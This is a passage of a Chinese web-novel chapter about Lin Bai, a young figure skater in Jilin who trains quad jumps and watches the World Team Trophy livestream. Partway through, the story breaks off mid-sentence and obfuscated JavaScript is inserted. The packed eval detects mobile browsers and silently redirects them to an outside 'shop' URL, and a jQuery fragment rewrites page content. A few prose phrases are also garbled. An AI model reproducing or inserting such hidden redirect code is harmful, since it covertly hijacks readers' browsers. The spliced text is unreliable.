回到自己房间，再也睡不着。


    林白坐在床边，看窗外天色逐渐变亮。深蓝色褪去，灰蓝。直到鱼肚白，到第一缕晨光，山脊后透出，将云层染成淡金色。


    福州没有冬天。


    至少，在他此刻的感受。


    二月底，当吉林冰封雪盖，福州却依旧保持着一种黏稠的、带着海水咸腥气的暖意，冬日里阳光洒落。


    透过老旧的玻璃窗，木地板上，仿佛仍浮动着家里特有的、记忆中潮湿的尘埃味。


    三月一开学，吉林的冬天还没撤干净。


    艺高的文化课教室，暖气已经停供，玻璃窗上凝着一层薄薄的白雾。冰化时，体感温度反而更冷冽。


    大学民间舞理论专业的课排得散，一周凑不出几个整天。林白坐在后排靠窗位置，省队群聊蹦出一条链接，标题是“2025 World Team Trophy-Official Entry List”。


    世团赛的参赛名单公布了。


    美国、日本、加拿大、意大利、法国、格鲁吉亚队。六支队伍，没有中国。


    意料之中。中国队这几年积分不够，加之已经获得冬奥会团体的参赛资格。


    青年组断层太厉害，成年组青黄不接。世团赛是团体赛，看的是整体厚度，不是单个天才就能撬动的。


    拇指往下滑，掠过那些熟悉的名字。窗外雪落地，窸窸窣窣的声音隔着玻璃，听不真切。


    铃响后，收拾书包，林白把围巾一圈圈绕在脖子上。羽绒服拉链拉到顶，下巴埋进衣领，这才闷闷走出教学楼大门。三月风硬，吹在脸上像小刀子刮。


    “林白！”


    王青从后面追上来，手里抱着两本书，“下午练功房排练，你来不来？”


    林白：“不了。去冰场。”


    王青：“你的训练量……顶着一个舞蹈生的专业头衔，把隔壁体院的苦也吃完了，吃尽黑利这方面我就服你。不过，注意点，别练伤了。”


    林白点点头，教学楼外，白雾从口鼻喷出，积雪被踩得瓷实，走起来咯吱咯吱响，令人安心。


    雪和冰逐渐消融，冷气肉眼可见蒸腾而起，化而未净的积冰是不能踩的，一脚上去一个出溜，没经验的人容易摔个狠的，刚来东北那会，林白也吃过这样的亏，全靠花滑底子，硬是低空扑腾几下，稳住身形。没像身边老乡，摔进路边扫雪的雪堆里，浸湿肥大的裤子。


    他往校门口偏僻的冰馆走，脚步很快。


    冰场的味道永远不变，冷冽的冰屑味混着旧皮革和汗水的复杂气息。林白换上那双蓝色彩刃的冰鞋，鞋带系得很紧，脚踝被牢牢固定。


    上冰先滑几圈，熟悉的沙沙声。等一场训练结束，林白滑到场边，坐下解鞋带。手指冻得有点僵，他习惯鞋带系得死，每次解起来，都费劲。


    他低头专心对付鞋带，额发垂下来，遮住了半边脸的黑发，美不胜收，林白不由己地用手抚整，试图轻静地归发还颜。


    晚钟殷殷响彻，璀璨的夜色降临了。可以看见沿着校园走廊点灯的当班保安了。


    四月，世团赛在日本开幕。


    比赛在油管直播，他没有选择看国内转播。V//P//N连接成功。直播间还没开始，显示着倒计时。


    林白年龄差一截，资历浅一层，坐在观众席、还是坐在宿舍电脑前，没什么区别，都是看客。


    窗外春夜，风里带着点泥土融化的腥气。宿舍楼很安静，能听见隔壁宿舍打游戏敲键盘的声音。


    倒计时归零。


    画面切到东京体育馆。冰面在灯光下白得刺眼，看台上坐满了人，日本观众举着国旗和应援扇。镜头扫过选手席，美国队穿着统一的队服，杰森·布朗正低头系鞋带，卷发在灯光下很显眼。


    林白把音量调大。


    短节目第一组是二线选手，分数不高，但比得认真。林白看，抽出A4纸，在草稿纸上记细节：滑行用刃深度、跳跃起跳方式、旋转轴心控制。


    第二组、第三组上场，水平明显高了。多是年轻选手。


    日本主场的欢呼声几乎掀翻屋顶。队长坂本花织穿着一身黑色考斯滕，袖口有银色暗纹。音乐是舒缓的钢琴曲，但她的滑行速度极快，刃咬得很深，冰花低低飞溅。


    林白身体前倾，盯着屏幕。等一切结束，他靠在椅子上。


    宿舍里只有电脑风扇的嗡嗡声。手机屏幕上，是吴云章发来的消息：“看了没？美国队这状态，下赛季要起飞啊。”


    林白回：“看了。”


    吴云章：“车俊焕也挺稳，虽然这次比赛没他。但是他在亚冬会赢了键山优真，拿到冠军，含金量一点都不低。韩国人的免军役buff的含金量还在提高……话说，你大冬会赢过他，现在看是不是更牛逼了？”


    林白：“……”


    林白：“我那时……那是运气好。”


    吴云章：“得了吧你。”


    林白没再回，对方也没有继续话题的意思。窗户没关紧，夜风吹进来，寒意冻得他一哆嗦。


    他走到窗边，轻轻合上窗户缝。远处的教学楼还亮着几盏灯，像沉在夜色里的星。


    距离大冬会夺冠过去两个月，金牌锁在宿舍抽屉里，偶尔拿出来掂掂。


    竞技体育这东西，昨天的荣誉是今天的砝码，明天的门槛只会更高。


    林白拧开水壶，水剩的不多了，他灌了两口，喝干净。冰凉的水顺着喉咙滑下去，浇灭了午后昏沉。


    自由滑当晚，林白训练结束后赶回宿舍，宿舍楼口，堆得半人高的脏雪垛子，在夕阳下淌水，滴滴答答。王青和孙贤易都在外，为大学开学初的事务奔走、忙碌。


    林白没心思想大学的新奇，他脑子里过的是昨天训练时摔惨了的4F，点冰位置偏了半寸，空中轴心歪得像被风吹斜的陀螺，差之毫厘，失之千里。


    郭时博当时没骂人，什么也没说，只是抱着胳膊站在挡板外，等他自己爬起来。


    教练慢悠悠吐了句：“转速问题。和体能关系没以前那么大，心态问题，下来休息。你急着收腿，反而把起跳角度带歪了。”


    大冬会的金牌镀了层光，照得他有些恍惚，好像真的一步踏进了成年组的大门。可回来训练一看，4F的成功率还在三成到四成之间荡秋千，4Lo的滑出速度依旧提不上来。


    每一处瑕疵都在提醒他，差得远呢。


    郭时博多留了他半小时，调整4F的起跳角度。天色渐渐暗下来。


    云层更低了，灰白转为深灰。风大了一些，吹动枯草，发出沙沙的声响。林白抱紧手臂，针织衫的袖子被拉长，遮住了半个手掌。


    郭时博：“冷了？回去吧，我送你一段路。”


    他们站起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973408|192274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来，离开吉林冰上运动中心，往回走。回火车站的路上两人都没说话，只是安静地走着。


    街道两边的灯陆续亮起来，昏黄的光晕在暮色中扩散。影子被拉长，变形，在脚下晃动。


    等回到宿舍，等从长春的雪跋涉回四平小镇，比赛已经进行到第二组。


    他匆匆开了电脑，意大利选手刚刚结束表演，分数不高，但现场观众很给面子地鼓掌。


    镜头切到选手等候区，美国队几个人凑在一起说笑，安伯·格伦比划着什么手势，引得队友大笑。


    团体赛的气氛和单项赛不同。林白盯着屏幕想。更放松，也更紧密。队友在旁边，输赢不是一个人的事。


    女单已经落幕，大奖赛总决赛冠军安伯·格伦在短节目发挥失误的情况下顶住压力，成功完成三周半跳（3A），取得148.93分，为美国队再添11分。


    男单自由滑，节目进行到中段，做杰森·布朗了个长达十几秒的接续步，覆盖全场，用刃极深，变刃时身体倾斜的角度几乎贴到冰面。


    看台掌声雷动。


    团体赛总积分榜刷新：美国队第一，日本队第二，意大利队第三。颁奖仪式上，美国队六个人站成一排，手里举着冠军奖杯，对着镜头笑。


    与此同时，采访区。在冰上，他们是一个个耀眼的个体；在一起，他们是不可战胜的整体。团结之力，让世界看见花样滑冰的另一种美。


    “我们并没有统一口号，但我们在这里，是为了彼此而存在的”，坂本花织说，“虽然未来充满未知，但这对我们所有人来说都将是一段美好的回忆”。


    国际滑联官方号下播，直播间关闭。宿舍里彻底安静下来。


    风声变得清晰，远处有火车经过的鸣笛，长长的，拖着尾音消失在夜。


    他坐在电脑前，整栋楼好像突然安静下来。挂钟的滴答声在寂静中格外清晰，一声，又一声，像心跳。


    林白坐在椅子上，没有立刻起身，只是看着黑掉的电脑屏幕。屏幕映出他的倒影，模糊，扭曲，像水中的映像。没动，似是还在回味。屏幕暗下去，映出他自己的脸。


    脖子有点僵。他仰头活动了一下颈椎，听见骨节发出轻微的“咔哒”声。窗外天色已经全黑，远处教学楼还亮着几扇窗，可能是新的一批考研党，挑灯夜战。


    手机响起，郭时博留言：“明天下午训练，带着最近训练的总结笔记。”


    教练永远知道你在干什么。过了很久，林白重新点亮屏幕，打开训练计划表，继续码字。


    开学后的日子排得满满当当，喘气的空当都得掐着秒表算。


    早晨舞蹈集训，早功必不可少。中午力量训练，上午和下午总共三场冰上技术，晚上编舞课，剩下的时间，回到寝室忙碌个人卫生，最后的时间，用来写作业。


    夜风翻涌，北方春天特有的、冰雪将融未融的气息。远处，城市的灯火，朦朦胧胧的。


    大冬会结束那晚，在都灵运动员村，他躺在床上，手里握着金牌，感觉好像在一场梦中。


    隔壁房间传来其他项目队员打牌的声响、笑声，走廊里有人用中文唱歌，跑调跑得厉害。


    打开衣柜，手伸到最底，拿出冰鞋包。没有什么缘由，他去摸刀套，鱼骨纹路硬硬的，硌着指腹。


    福州没有冬天。


    就像吉林没有春天。